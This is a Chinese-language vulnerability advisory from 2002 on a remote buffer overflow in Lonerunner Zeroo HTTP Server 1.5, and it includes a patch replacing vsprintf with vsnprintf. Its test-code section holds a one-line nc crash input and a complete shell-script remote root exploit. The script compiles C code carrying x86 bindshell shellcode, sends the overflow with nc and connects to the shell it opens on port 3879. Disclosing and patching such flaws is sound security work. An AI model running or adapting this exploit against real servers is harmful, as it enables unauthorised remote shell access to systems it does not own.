Lonerunner Zeroo HTTP Server存在远程缓冲溢出问题

发布时间：2002-11-21
更新时间：2002-11-21
严重程度：高
威胁程度：普通用户访问权限
错误类型：边界检查错误
利用方式：服务器模式

BUGTRAQ ID：6190

受影响系统

Lonerunner Zeroo HTTP Server 1.5

详细描述
Zeroo HTTP是免费开放源代码WEB程序。

Zeroo HTTP对部分超长请求检查不正确，超长的字符串请求可导致WEB服务产生缓冲溢出，可以覆盖堆栈内容执行任意代码。

测试代码
bash$ (echo "`perl -e 'print \"\xaa\"x1024'`";cat)|nc 0 8000 # 0xaa,0xff,etc...

#!/bin/sh
#
# 0x82-Zer00.sh Zeroo HTTP Server Remote root exploit for Linux
#
# __
# exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
# My World: http://x82.i21c.net
#
(printf "\n 0x82-Zer00.sh Zeroo HTTP Server Remote root exploit");
(printf "\n                                by x82 in INetCop(c)\n\n");
#
if [ "$2" = "" ]; then
(printf " Usage: 0x82-Zer00.sh [hostname] [port]\n\n");
exit; fi
#
cat >0x82-Remote-Zeroosubugxpl.c<< X82X82
#define Xpl017Elz x82
int main(/* args? */) {
    int num;
    char b1ndsh[] = /* Linux(x86) bindshell on port 3879 */
        "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
        "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
        "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
        "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
        "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
        "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
        "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
        "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
    for(num=0;num<0xa4;num+=4)
        printf("\xc0\xf4\xff\xbf"); // this's &shellcode
    for(num=0;num<0x02a8-strlen(b1ndsh);num++)
        printf("N"); /* nop...NNNNNNNNNNNNN...NNNNNNNNNNNNN;;; */
    printf("%s",b1ndsh); /* shellcode */
    for(num=0;num<0xb4;num++)
    printf("\xff"); /* byteother */
    printf("\r\n");
}
X82X82
#
(printf " { 0x00. Compile exploit. }\n");
make 0x82-Remote-Zeroosubugxpl
(printf " { 0x01. Send code ! }\n");
(./0x82-Remote-Zeroosubugxpl;cat)|nc $1 $2 &
(printf " { 0x02. OK, Try $1:3879 ... }\n");
nc $1 3879
(printf " { 0x03. Connection closed. }\n");
#
(printf " { 0x04. Delete exploit code. }\n");
rm -f 0x82-Remote-Zeroosubugxpl*
(printf " { 0x05. End :-}\n\n");
#

解决方案
临时"dong-h0un U" <xploit@hackermail.com>提供的补丁：

=== http.patch ===

--- http.cpp    Fri Apr 12 13:26:24 2002
+++ http.patch.cpp      Tue Nov 10 00:28:13 2002
@@ -70,7 +70,7 @@
    va_list arglist;

    va_start(arglist, message);
-    vsprintf(buffer, message, arglist);
+    vsnprintf(buffer, MAX_CONN_BUF, message, arglist);
    va_end(arglist);

    strncpy(in+strlen(in), buffer, strlen(buffer));

=== eof ===

相关信息
dong-h0un U <xploit@hackermail.com>.
参考：http://online.securityfocus.com/archive/1/300066

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